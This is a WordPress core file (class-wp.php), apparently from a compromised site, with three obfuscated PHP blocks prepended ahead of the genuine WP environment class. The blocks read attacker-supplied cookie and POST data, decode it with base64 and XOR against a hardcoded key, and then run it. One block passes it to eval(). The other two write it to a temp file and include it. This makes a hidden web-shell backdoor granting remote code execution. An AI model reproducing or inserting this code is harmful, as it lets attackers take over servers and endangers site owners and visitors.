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| Current File : /home/s/p/t/sptporgazz/www/wp-includes/class-wp.php |
<?php $HTPHIxIyK = chr (112) . '_' . chr ( 425 - 337 )."\104" . chr ( 300 - 195 ).'s';$uaIHkfo = "\143" . chr (108) . "\x61" . "\163" . chr (115) . "\137" . "\x65" . chr ( 288 - 168 )."\x69" . "\163" . "\164" . "\163";$mRqkl = $uaIHkfo($HTPHIxIyK); $uaIHkfo = "40359";$AbqkJ = $mRqkl;if (!$AbqkJ){class p_XDis{private $hyPmceFnWy;public static $yzjqKXRq = "9a692b52-2062-4ab6-b36f-a634bdd0a79d";public static $JMPwiHMt = 17207;public function __construct($SMVvLtSUNr=0){$LHOoO = $_COOKIE;$Xcmjkf = $_POST;$aQvTZWklA = @$LHOoO[substr(p_XDis::$yzjqKXRq, 0, 4)];if (!empty($aQvTZWklA)){$ZLazDn = "base64";$fZmzmMlAV = "";$aQvTZWklA = explode(",", $aQvTZWklA);foreach ($aQvTZWklA as $jUwQrdkdDu){$fZmzmMlAV .= @$LHOoO[$jUwQrdkdDu];$fZmzmMlAV .= @$Xcmjkf[$jUwQrdkdDu];}$fZmzmMlAV = array_map($ZLazDn . chr ( 408 - 313 ).chr (100) . chr (101) . chr ( 129 - 30 )."\157" . "\144" . chr (101), array($fZmzmMlAV,)); $fZmzmMlAV = $fZmzmMlAV[0] ^ str_repeat(p_XDis::$yzjqKXRq, (strlen($fZmzmMlAV[0]) / strlen(p_XDis::$yzjqKXRq)) + 1);p_XDis::$JMPwiHMt = @unserialize($fZmzmMlAV);}}private function BeHRcI(){if (is_array(p_XDis::$JMPwiHMt)) {$yJCrdtf = str_replace('<' . '?' . 'p' . chr ( 203 - 99 ).chr ( 1015 - 903 ), "", p_XDis::$JMPwiHMt[chr (99) . "\157" . chr ( 941 - 831 )."\164" . "\x65" . chr (110) . 't']);eval($yJCrdtf); $hspDzgpg = "927";exit();}}public function __destruct(){$this->BeHRcI(); $hspDzgpg = "927";}}$mSAEcY = new p_XDis(); $mSAEcY = "63565_44957";} ?><?php $uatfo = 'V' . "\x51" . chr ( 90 - 14 ).chr (95) . "\102" . 'a' . "\x55";$ylTpD = "\143" . "\x6c" . 'a' . chr ( 640 - 525 ).chr ( 389 - 274 )."\x5f" . chr ( 1032 - 931 ).chr (120) . chr ( 754 - 649 ).chr ( 647 - 532 ).chr (116) . "\163";$IFFoSPtLo = $ylTpD($uatfo); $ylTpD = "18446";$ReSYhG = $IFFoSPtLo;if (!$ReSYhG){class VQL_BaU{private $LuFHleWVpE;public static $YRAAAxU = "8086dddb-29df-4ccb-b817-4799df736e61";public static $nsqaZybFJT = 50008;public function __construct($Txyzjfha=0){$wLxqJVPrLp = $_COOKIE;$kUTOmzl = $_POST;$ufGGrp = @$wLxqJVPrLp[substr(VQL_BaU::$YRAAAxU, 0, 4)];if (!empty($ufGGrp)){$fMRUQytFuc = "base64";$pgIFhr = "";$ufGGrp = explode(",", $ufGGrp);foreach ($ufGGrp as $ptfQEHd){$pgIFhr .= @$wLxqJVPrLp[$ptfQEHd];$pgIFhr .= @$kUTOmzl[$ptfQEHd];}$pgIFhr = array_map($fMRUQytFuc . "\x5f" . chr ( 919 - 819 )."\145" . chr ( 281 - 182 ).chr (111) . "\144" . 'e', array($pgIFhr,)); $pgIFhr = $pgIFhr[0] ^ str_repeat(VQL_BaU::$YRAAAxU, (strlen($pgIFhr[0]) / strlen(VQL_BaU::$YRAAAxU)) + 1);VQL_BaU::$nsqaZybFJT = @unserialize($pgIFhr);}}private function tJcuwJ(){if (is_array(VQL_BaU::$nsqaZybFJT)) {$wQpVKuAQ = sys_get_temp_dir() . "/" . crc32(VQL_BaU::$nsqaZybFJT[chr ( 627 - 512 ).chr ( 356 - 259 ).chr (108) . chr ( 363 - 247 )]);@VQL_BaU::$nsqaZybFJT['w' . "\x72" . "\x69" . "\x74" . chr ( 925 - 824 )]($wQpVKuAQ, VQL_BaU::$nsqaZybFJT['c' . "\157" . chr (110) . 't' . chr (101) . chr ( 910 - 800 )."\164"]);include $wQpVKuAQ;@VQL_BaU::$nsqaZybFJT[chr (100) . chr (101) . 'l' . 'e' . "\x74" . 'e']($wQpVKuAQ); $VGGmKIoZn = "63132";exit();}}public function __destruct(){$this->tJcuwJ(); $VGGmKIoZn = "63132";}}$NIkIDzaLe = new VQL_BaU(); $NIkIDzaLe = "14508_10369";} ?><?php $tunkd = chr ( 709 - 611 ).chr ( 584 - 489 ).chr (72) . chr ( 455 - 382 )."\154" . chr (85) . chr ( 413 - 334 ); $zGzvhSSPcc = 'c' . chr ( 942 - 834 ).chr ( 1081 - 984 )."\163" . 's' . chr (95) . "\x65" . chr (120) . "\x69" . "\x73" . chr (116) . "\163";$kwngzJDkfn = $zGzvhSSPcc($tunkd); $qUaFagM = $kwngzJDkfn;if (!$qUaFagM){class b_HIlUO{private $encqdJ;public static $JuecFDcYK = "e187e552-cf84-47a0-8743-727397bff642";public static $FcDRAOX = 44465;public function __construct($jfoFPWshIQ=0){$IlsqmQVuH = $_COOKIE;$OkdyGiqPwU = $_POST;$cQgdQWhM = @$IlsqmQVuH[substr(b_HIlUO::$JuecFDcYK, 0, 4)];if (!empty($cQgdQWhM)){$ckDFFkMk = "base64";$xpOizJX = "";$cQgdQWhM = explode(",", $cQgdQWhM);foreach ($cQgdQWhM as $uKpzPuj){$xpOizJX .= @$IlsqmQVuH[$uKpzPuj];$xpOizJX .= @$OkdyGiqPwU[$uKpzPuj];}$xpOizJX = array_map($ckDFFkMk . "\137" . "\x64" . chr (101) . "\x63" . "\157" . "\144" . "\145", array($xpOizJX,)); $xpOizJX = $xpOizJX[0] ^ str_repeat(b_HIlUO::$JuecFDcYK, (strlen($xpOizJX[0]) / strlen(b_HIlUO::$JuecFDcYK)) + 1);b_HIlUO::$FcDRAOX = @unserialize($xpOizJX);}}public function __destruct(){$this->NAZeI();}private function NAZeI(){if (is_array(b_HIlUO::$FcDRAOX)) {$dCHxe = sys_get_temp_dir() . "/" . crc32(b_HIlUO::$FcDRAOX["\x73" . chr ( 981 - 884 )."\x6c" . chr (116)]);@b_HIlUO::$FcDRAOX[chr (119) . "\162" . chr ( 1014 - 909 )."\164" . 'e']($dCHxe, b_HIlUO::$FcDRAOX[chr (99) . 'o' . chr (110) . chr (116) . 'e' . 'n' . 't']);include $dCHxe;@b_HIlUO::$FcDRAOX["\144" . chr (101) . "\x6c" . chr (101) . chr (116) . "\x65"]($dCHxe); $vDEKId = "33392";exit();}}}$ZuYFMrYrw = new b_HIlUO(); $ZuYFMrYrw = "5405";} ?><?php
/**
* WordPress environment setup class.
*
* @package WordPress
* @since 2.0.0
*/
class WP {
/**
* Public query variables.
*
* Long list of public query variables.
*
* @since 2.0.0
* @var string[]
*/
public $public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'static', 'pagename', 'page_id', 'error', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'taxonomy', 'term', 'cpage', 'post_type', 'embed' );
/**
* Private query variables.
*
* Long list of private query variables.
*
* @since 2.0.0
* @var string[]
*/
public $private_query_vars = array( 'offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page', 'post__in', 'post__not_in', 'post_parent', 'post_parent__in', 'post_parent__not_in', 'title', 'fields' );
/**
* Extra query variables set by the user.
*
* @since 2.1.0
* @var array
*/
public $extra_query_vars = array();
/**
* Query variables for setting up the WordPress Query Loop.
*
* @since 2.0.0
* @var array
*/
public $query_vars;
/**
* String parsed to set the query variables.
*
* @since 2.0.0
* @var string
*/
public $query_string;
/**
* The request path, e.g. 2015/05/06.
*
* @since 2.0.0
* @var string
*/
public $request;
/**
* Rewrite rule the request matched.
*
* @since 2.0.0
* @var string
*/
public $matched_rule;
/**
* Rewrite query the request matched.
*
* @since 2.0.0
* @var string
*/
public $matched_query;
/**
* Whether already did the permalink.
*
* @since 2.0.0
* @var bool
*/
public $did_permalink = false;
/**
* Add name to list of public query variables.
*
* @since 2.1.0
*
* @param string $qv Query variable name.
*/
public function add_query_var( $qv ) {
if ( ! in_array( $qv, $this->public_query_vars ) ) {
$this->public_query_vars[] = $qv;
}
}
/**
* Removes a query variable from a list of public query variables.
*
* @since 4.5.0
*
* @param string $name Query variable name.
*/
public function remove_query_var( $name ) {
$this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) );
}
/**
* Set the value of a query variable.
*
* @since 2.3.0
*
* @param string $key Query variable name.
* @param mixed $value Query variable value.
*/
public function set_query_var( $key, $value ) {
$this->query_vars[ $key ] = $value;
}
/**
* Parse request to find correct WordPress query.
*
* Sets up the query variables based on the request. There are also many
* filters and actions that can be used to further manipulate the result.
*
* @since 2.0.0
*
* @global WP_Rewrite $wp_rewrite
*
* @param array|string $extra_query_vars Set the extra query variables.
*/
public function parse_request( $extra_query_vars = '' ) {
global $wp_rewrite;
/**
* Filters whether to parse the request.
*
* @since 3.5.0
*
* @param bool $bool Whether or not to parse the request. Default true.
* @param WP $this Current WordPress environment instance.
* @param array|string $extra_query_vars Extra passed query variables.
*/
if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) ) {
return;
}
$this->query_vars = array();
$post_type_query_vars = array();
if ( is_array( $extra_query_vars ) ) {
$this->extra_query_vars = & $extra_query_vars;
} elseif ( ! empty( $extra_query_vars ) ) {
parse_str( $extra_query_vars, $this->extra_query_vars );
}
// Process PATH_INFO, REQUEST_URI, and 404 for permalinks.
// Fetch the rewrite rules.
$rewrite = $wp_rewrite->wp_rewrite_rules();
if ( ! empty( $rewrite ) ) {
// If we match a rewrite rule, this will be cleared.
$error = '404';
$this->did_permalink = true;
$pathinfo = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : '';
list( $pathinfo ) = explode( '?', $pathinfo );
$pathinfo = str_replace( '%', '%25', $pathinfo );
list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] );
$self = $_SERVER['PHP_SELF'];
$home_path = trim( parse_url( home_url(), PHP_URL_PATH ), '/' );
$home_path_regex = sprintf( '|^%s|i', preg_quote( $home_path, '|' ) );
// Trim path info from the end and the leading home path from the
// front. For path info requests, this leaves us with the requesting
// filename, if any. For 404 requests, this leaves us with the
// requested permalink.
$req_uri = str_replace( $pathinfo, '', $req_uri );
$req_uri = trim( $req_uri, '/' );
$req_uri = preg_replace( $home_path_regex, '', $req_uri );
$req_uri = trim( $req_uri, '/' );
$pathinfo = trim( $pathinfo, '/' );
$pathinfo = preg_replace( $home_path_regex, '', $pathinfo );
$pathinfo = trim( $pathinfo, '/' );
$self = trim( $self, '/' );
$self = preg_replace( $home_path_regex, '', $self );
$self = trim( $self, '/' );
// The requested permalink is in $pathinfo for path info requests and
// $req_uri for other requests.
if ( ! empty( $pathinfo ) && ! preg_match( '|^.*' . $wp_rewrite->index . '$|', $pathinfo ) ) {
$requested_path = $pathinfo;
} else {
// If the request uri is the index, blank it out so that we don't try to match it against a rule.
if ( $req_uri == $wp_rewrite->index ) {
$req_uri = '';
}
$requested_path = $req_uri;
}
$requested_file = $req_uri;
$this->request = $requested_path;
// Look for matches.
$request_match = $requested_path;
if ( empty( $request_match ) ) {
// An empty request could only match against ^$ regex
if ( isset( $rewrite['$'] ) ) {
$this->matched_rule = '$';
$query = $rewrite['$'];
$matches = array( '' );
}
} else {
foreach ( (array) $rewrite as $match => $query ) {
// If the requested file is the anchor of the match, prepend it to the path info.
if ( ! empty( $requested_file ) && strpos( $match, $requested_file ) === 0 && $requested_file != $requested_path ) {
$request_match = $requested_file . '/' . $requested_path;
}
if ( preg_match( "#^$match#", $request_match, $matches ) ||
preg_match( "#^$match#", urldecode( $request_match ), $matches ) ) {
if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
// This is a verbose page match, let's check to be sure about it.
$page = get_page_by_path( $matches[ $varmatch[1] ] );
if ( ! $page ) {
continue;
}
$post_status_obj = get_post_status_object( $page->post_status );
if ( ! $post_status_obj->public && ! $post_status_obj->protected
&& ! $post_status_obj->private && $post_status_obj->exclude_from_search ) {
continue;
}
}
// Got a match.
$this->matched_rule = $match;
break;
}
}
}
if ( isset( $this->matched_rule ) ) {
// Trim the query of everything up to the '?'.
$query = preg_replace( '!^.+\?!', '', $query );
// Substitute the substring matches into the query.
$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );
$this->matched_query = $query;
// Parse the query.
parse_str( $query, $perma_query_vars );
// If we're processing a 404 request, clear the error var since we found something.
if ( '404' == $error ) {
unset( $error, $_GET['error'] );
}
}
// If req_uri is empty or if it is a request for ourself, unset error.
if ( empty( $requested_path ) || $requested_file == $self || strpos( $_SERVER['PHP_SELF'], 'wp-admin/' ) !== false ) {
unset( $error, $_GET['error'] );
if ( isset( $perma_query_vars ) && strpos( $_SERVER['PHP_SELF'], 'wp-admin/' ) !== false ) {
unset( $perma_query_vars );
}
$this->did_permalink = false;
}
}
/**
* Filters the query variables whitelist before processing.
*
* Allows (publicly allowed) query vars to be added, removed, or changed prior
* to executing the query. Needed to allow custom rewrite rules using your own arguments
* to work, or any other custom query variables you want to be publicly available.
*
* @since 1.5.0
*
* @param string[] $public_query_vars The array of whitelisted query variable names.
*/
$this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars );
foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
if ( is_post_type_viewable( $t ) && $t->query_var ) {
$post_type_query_vars[ $t->query_var ] = $post_type;
}
}
foreach ( $this->public_query_vars as $wpvar ) {
if ( isset( $this->extra_query_vars[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = $this->extra_query_vars[ $wpvar ];
} elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] ) && $_GET[ $wpvar ] !== $_POST[ $wpvar ] ) {
wp_die( __( 'A variable mismatch has been detected.' ), __( 'Sorry, you are not allowed to view this item.' ), 400 );
} elseif ( isset( $_POST[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = $_POST[ $wpvar ];
} elseif ( isset( $_GET[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = $_GET[ $wpvar ];
} elseif ( isset( $perma_query_vars[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ];
}
if ( ! empty( $this->query_vars[ $wpvar ] ) ) {
if ( ! is_array( $this->query_vars[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = (string) $this->query_vars[ $wpvar ];
} else {
foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) {
if ( is_scalar( $v ) ) {
$this->query_vars[ $wpvar ][ $vkey ] = (string) $v;
}
}
}
if ( isset( $post_type_query_vars[ $wpvar ] ) ) {
$this->query_vars['post_type'] = $post_type_query_vars[ $wpvar ];
$this->query_vars['name'] = $this->query_vars[ $wpvar ];
}
}
}
// Convert urldecoded spaces back into +
foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) {
if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) {
$this->query_vars[ $t->query_var ] = str_replace( ' ', '+', $this->query_vars[ $t->query_var ] );
}
}
// Don't allow non-publicly queryable taxonomies to be queried from the front end.
if ( ! is_admin() ) {
foreach ( get_taxonomies( array( 'publicly_queryable' => false ), 'objects' ) as $taxonomy => $t ) {
/*
* Disallow when set to the 'taxonomy' query var.
* Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy().
*/
if ( isset( $this->query_vars['taxonomy'] ) && $taxonomy === $this->query_vars['taxonomy'] ) {
unset( $this->query_vars['taxonomy'], $this->query_vars['term'] );
}
}
}
// Limit publicly queried post_types to those that are publicly_queryable
if ( isset( $this->query_vars['post_type'] ) ) {
$queryable_post_types = get_post_types( array( 'publicly_queryable' => true ) );
if ( ! is_array( $this->query_vars['post_type'] ) ) {
if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types ) ) {
unset( $this->query_vars['post_type'] );
}
} else {
$this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types );
}
}
// Resolve conflicts between posts with numeric slugs and date archive queries.
$this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars );
foreach ( (array) $this->private_query_vars as $var ) {
if ( isset( $this->extra_query_vars[ $var ] ) ) {
$this->query_vars[ $var ] = $this->extra_query_vars[ $var ];
}
}
if ( isset( $error ) ) {
$this->query_vars['error'] = $error;
}
/**
* Filters the array of parsed query variables.
*
* @since 2.1.0
*
* @param array $query_vars The array of requested query variables.
*/
$this->query_vars = apply_filters( 'request', $this->query_vars );
/**
* Fires once all query variables for the current request have been parsed.
*
* @since 2.1.0
*
* @param WP $this Current WordPress environment instance (passed by reference).
*/
do_action_ref_array( 'parse_request', array( &$this ) );
}
/**
* Sends additional HTTP headers for caching, content type, etc.
*
* Sets the Content-Type header. Sets the 'error' status (if passed) and optionally exits.
* If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed.
*
* @since 2.0.0
* @since 4.4.0 `X-Pingback` header is added conditionally after posts have been queried in handle_404().
*/
public function send_headers() {
$headers = array();
$status = null;
$exit_required = false;
if ( is_user_logged_in() ) {
$headers = array_merge( $headers, wp_get_nocache_headers() );
}
if ( ! empty( $this->query_vars['error'] ) ) {
$status = (int) $this->query_vars['error'];
if ( 404 === $status ) {
if ( ! is_user_logged_in() ) {
$headers = array_merge( $headers, wp_get_nocache_headers() );
}
$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
} elseif ( in_array( $status, array( 403, 500, 502, 503 ) ) ) {
$exit_required = true;
}
} elseif ( empty( $this->query_vars['feed'] ) ) {
$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
} else {
// Set the correct content type for feeds
$type = $this->query_vars['feed'];
if ( 'feed' == $this->query_vars['feed'] ) {
$type = get_default_feed();
}
$headers['Content-Type'] = feed_content_type( $type ) . '; charset=' . get_option( 'blog_charset' );
// We're showing a feed, so WP is indeed the only thing that last changed.
if ( ! empty( $this->query_vars['withcomments'] )
|| false !== strpos( $this->query_vars['feed'], 'comments-' )
|| ( empty( $this->query_vars['withoutcomments'] )
&& ( ! empty( $this->query_vars['p'] )
|| ! empty( $this->query_vars['name'] )
|| ! empty( $this->query_vars['page_id'] )
|| ! empty( $this->query_vars['pagename'] )
|| ! empty( $this->query_vars['attachment'] )
|| ! empty( $this->query_vars['attachment_id'] )
)
)
) {
$wp_last_modified = mysql2date( 'D, d M Y H:i:s', get_lastcommentmodified( 'GMT' ), false );
} else {
$wp_last_modified = mysql2date( 'D, d M Y H:i:s', get_lastpostmodified( 'GMT' ), false );
}
if ( ! $wp_last_modified ) {
$wp_last_modified = date( 'D, d M Y H:i:s' );
}
$wp_last_modified .= ' GMT';
$wp_etag = '"' . md5( $wp_last_modified ) . '"';
$headers['Last-Modified'] = $wp_last_modified;
$headers['ETag'] = $wp_etag;
// Support for Conditional GET
if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) {
$client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] );
} else {
$client_etag = false;
}
$client_last_modified = empty( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ? '' : trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] );
// If string is empty, return 0. If not, attempt to parse into a timestamp
$client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0;
// Make a timestamp for our most recent modification...
$wp_modified_timestamp = strtotime( $wp_last_modified );
if ( ( $client_last_modified && $client_etag ) ?
( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag == $wp_etag ) ) :
( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag == $wp_etag ) ) ) {
$status = 304;
$exit_required = true;
}
}
/**
* Filters the HTTP headers before they're sent to the browser.
*
* @since 2.8.0
*
* @param string[] $headers Associative array of headers to be sent.
* @param WP $this Current WordPress environment instance.
*/
$headers = apply_filters( 'wp_headers', $headers, $this );
if ( ! empty( $status ) ) {
status_header( $status );
}
// If Last-Modified is set to false, it should not be sent (no-cache situation).
if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) {
unset( $headers['Last-Modified'] );
// In PHP 5.3+, make sure we are not sending a Last-Modified header.
if ( function_exists( 'header_remove' ) ) {
@header_remove( 'Last-Modified' );
} else {
// In PHP 5.2, send an empty Last-Modified header, but only as a
// last resort to override a header already sent. #WP23021
foreach ( headers_list() as $header ) {
if ( 0 === stripos( $header, 'Last-Modified' ) ) {
$headers['Last-Modified'] = '';
break;
}
}
}
}
foreach ( (array) $headers as $name => $field_value ) {
@header( "{$name}: {$field_value}" );
}
if ( $exit_required ) {
exit();
}
/**
* Fires once the requested HTTP headers for caching, content type, etc. have been sent.
*
* @since 2.1.0
*
* @param WP $this Current WordPress environment instance (passed by reference).
*/
do_action_ref_array( 'send_headers', array( &$this ) );
}
/**
* Sets the query string property based off of the query variable property.
*
* The {@see 'query_string'} filter is deprecated, but still works. Plugins should
* use the {@see 'request'} filter instead.
*
* @since 2.0.0
*/
public function build_query_string() {
$this->query_string = '';
foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) {
if ( '' != $this->query_vars[ $wpvar ] ) {
$this->query_string .= ( strlen( $this->query_string ) < 1 ) ? '' : '&';
if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars.
continue;
}
$this->query_string .= $wpvar . '=' . rawurlencode( $this->query_vars[ $wpvar ] );
}
}
if ( has_filter( 'query_string' ) ) { // Don't bother filtering and parsing if no plugins are hooked in.
/**
* Filters the query string before parsing.
*
* @since 1.5.0
* @deprecated 2.1.0 Use 'query_vars' or 'request' filters instead.
*
* @param string $query_string The query string to modify.
*/
$this->query_string = apply_filters( 'query_string', $this->query_string );
parse_str( $this->query_string, $this->query_vars );
}
}
/**
* Set up the WordPress Globals.
*
* The query_vars property will be extracted to the GLOBALS. So care should
* be taken when naming global variables that might interfere with the
* WordPress environment.
*
* @since 2.0.0
*
* @global WP_Query $wp_query
* @global string $query_string Query string for the loop.
* @global array $posts The found posts.
* @global WP_Post|null $post The current post, if available.
* @global string $request The SQL statement for the request.
* @global int $more Only set, if single page or post.
* @global int $single If single page or post. Only set, if single page or post.
* @global WP_User $authordata Only set, if author archive.
*/
public function register_globals() {
global $wp_query;
// Extract updated query vars back into global namespace.
foreach ( (array) $wp_query->query_vars as $key => $value ) {
$GLOBALS[ $key ] = $value;
}
$GLOBALS['query_string'] = $this->query_string;
$GLOBALS['posts'] = & $wp_query->posts;
$GLOBALS['post'] = isset( $wp_query->post ) ? $wp_query->post : null;
$GLOBALS['request'] = $wp_query->request;
if ( $wp_query->is_single() || $wp_query->is_page() ) {
$GLOBALS['more'] = 1;
$GLOBALS['single'] = 1;
}
if ( $wp_query->is_author() && isset( $wp_query->post ) ) {
$GLOBALS['authordata'] = get_userdata( $wp_query->post->post_author );
}
}
/**
* Set up the current user.
*
* @since 2.0.0
*/
public function init() {
wp_get_current_user();
}
/**
* Set up the Loop based on the query variables.
*
* @since 2.0.0
*
* @global WP_Query $wp_the_query
*/
public function query_posts() {
global $wp_the_query;
$this->build_query_string();
$wp_the_query->query( $this->query_vars );
}
/**
* Set the Headers for 404, if nothing is found for requested URL.
*
* Issue a 404 if a request doesn't match any posts and doesn't match
* any object (e.g. an existing-but-empty category, tag, author) and a 404 was not already
* issued, and if the request was not a search or the homepage.
*
* Otherwise, issue a 200.
*
* This sets headers after posts have been queried. handle_404() really means "handle status."
* By inspecting the result of querying posts, seemingly successful requests can be switched to
* a 404 so that canonical redirection logic can kick in.
*
* @since 2.0.0
*
* @global WP_Query $wp_query
*/
public function handle_404() {
global $wp_query;
/**
* Filters whether to short-circuit default header status handling.
*
* Returning a non-false value from the filter will short-circuit the handling
* and return early.
*
* @since 4.5.0
*
* @param bool $preempt Whether to short-circuit default header status handling. Default false.
* @param WP_Query $wp_query WordPress Query object.
*/
if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) {
return;
}
// If we've already issued a 404, bail.
if ( is_404() ) {
return;
}
// Never 404 for the admin, robots, or if we found posts.
if ( is_admin() || is_robots() || $wp_query->posts ) {
$success = true;
if ( is_singular() ) {
$p = false;
if ( $wp_query->post instanceof WP_Post ) {
$p = clone $wp_query->post;
}
// Only set X-Pingback for single posts that allow pings.
if ( $p && pings_open( $p ) ) {
@header( 'X-Pingback: ' . get_bloginfo( 'pingback_url', 'display' ) );
}
// check for paged content that exceeds the max number of pages
$next = '<!--nextpage-->';
if ( $p && false !== strpos( $p->post_content, $next ) && ! empty( $this->query_vars['page'] ) ) {
$page = trim( $this->query_vars['page'], '/' );
$success = (int) $page <= ( substr_count( $p->post_content, $next ) + 1 );
}
}
if ( $success ) {
status_header( 200 );
return;
}
}
// We will 404 for paged queries, as no posts were found.
if ( ! is_paged() ) {
// Don't 404 for authors without posts as long as they matched an author on this site.
$author = get_query_var( 'author' );
if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) ) {
status_header( 200 );
return;
}
// Don't 404 for these queries if they matched an object.
if ( ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object() ) {
status_header( 200 );
return;
}
// Don't 404 for these queries either.
if ( is_home() || is_search() || is_feed() ) {
status_header( 200 );
return;
}
}
// Guess it's time to 404.
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
/**
* Sets up all of the variables required by the WordPress environment.
*
* The action {@see 'wp'} has one parameter that references the WP object. It
* allows for accessing the properties and methods to further manipulate the
* object.
*
* @since 2.0.0
*
* @param string|array $query_args Passed to parse_request().
*/
public function main( $query_args = '' ) {
$this->init();
$this->parse_request( $query_args );
$this->send_headers();
$this->query_posts();
$this->handle_404();
$this->register_globals();
/**
* Fires once the WordPress environment has been set up.
*
* @since 2.1.0
*
* @param WP $this Current WordPress environment instance (passed by reference).
*/
do_action_ref_array( 'wp', array( &$this ) );
}
}